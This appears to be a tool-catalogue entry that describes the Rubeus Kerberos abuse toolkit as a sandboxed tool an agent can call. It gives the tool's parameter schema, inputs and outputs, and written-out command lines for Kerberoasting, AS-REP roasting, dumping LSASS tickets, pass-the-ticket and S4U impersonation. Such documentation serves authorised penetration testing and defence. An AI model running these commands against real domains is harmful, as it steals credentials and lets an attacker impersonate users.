Kerberos abuse toolkit for Windows for performing AS-REP roasting, Kerberoasting, pass-the-ticket, S4U attacks, and Kerberos ticket manipulation.
Rubeus.exe {command} {flags} ๐ command ๐ flags Rubeus.exe {command} {flags} Sandbox: execFile · Timeout: 300s
security.ad.kerberos.bruteforce security.ad.kerberos.asreproast security.ad.kerberos.kerberoast security.ad.kerberos.passkey security.ad.kerberos.delegation security.credential.kerberostickets | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
command | string | Yes | - | Rubeus command (kerberoast, asreproast, dump, etc.) | - |
flag-domain | string | No | - | Target domain | /domain |
flag-username | string | No | - | Username for authentication | /username |
flag-password | string | No | - | Password for authentication | /password |
flag-format | string | No | - | Output format (hashcat, john) | /format |
flag-outfile | string | No | - | Output file path | /outfile |
flag-ticket | string | No | - | Base64-encoded Kerberos ticket | /ticket |
flag-ptt | boolean | No | - | Pass-the-ticket | - |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
security.credential.hash.kerberos | Kerberos ticket hash data | text/plain | - | verified |
credential.data | Extracted credential material | text/plain | - | verified |
Inputs
domain.name Target domain FQDN
credential.username Target username or user list file
credential.password Password or NTLM hash for authentication
Outputs
security.credential.hash.kerberos Crackable Kerberos hashes
credential.data Extracted Kerberos tickets and credentials
network_trafficfilesystem_write Produces
security.credential.hash.kerberoscredential.dataConsumes
domain.namecredential.usernamecredential.password| Resource | Value |
|---|---|
| CPU | low |
| Memory | 128 MB |
| Network | low |
| Disk I/O | low |
Kerberoasting SPNs
Rubeus.exe kerberoast /domain:example.com /outfile:hashes.txt AS-REP roasting users without pre-authentication
Rubeus.exe asreproast /domain:example.com /format:hashcat /outfile:asrep.txt Dump Kerberos tickets from current session
Rubeus.exe dump /service:krbtgt Pass-the-ticket
Rubeus.exe asktgt /user:admin /domain:example.com /ticket:<BASE64> S4U2Self attack
Rubeus.exe s4u /user:svc_account /impersonateuser:admin /domain:example.com Rubeus is a C# toolset for raw Kerberos interaction and abuse, designed for offensive security operations. It provides capabilities for Kerberoasting, AS-REP roasting, pass-the-ticket, pass-the-key, S4U attacks, and ticket manipulation.
| Command | Attack |
|---|---|
kerberoast |
Extract SPN service account hashes |
asreproast |
Find users without pre-authentication |
dump |
Extract tickets from LSASS |
asktgt |
Request TGT with specific options |
s4u |
S4U2Self/S4U2Proxy delegation attacks |
renew |
Renew existing tickets |
describe |
Decode and inspect ticket contents |
:: Kerberoasting
Rubeus.exe kerberoast /domain:example.local /outfile:kerb-hashes.txt
:: AS-REP roasting
Rubeus.exe asreproast /format:hashcat /outfile:asrep-hashes.txt
:: Dump tickets
Rubeus.exe dump /luid:0x123456
:: Pass the ticket (ask TGT)
Rubeus.exe asktgt /user:admin /domain:example.local /aes256:<AES256_HASH> /ptt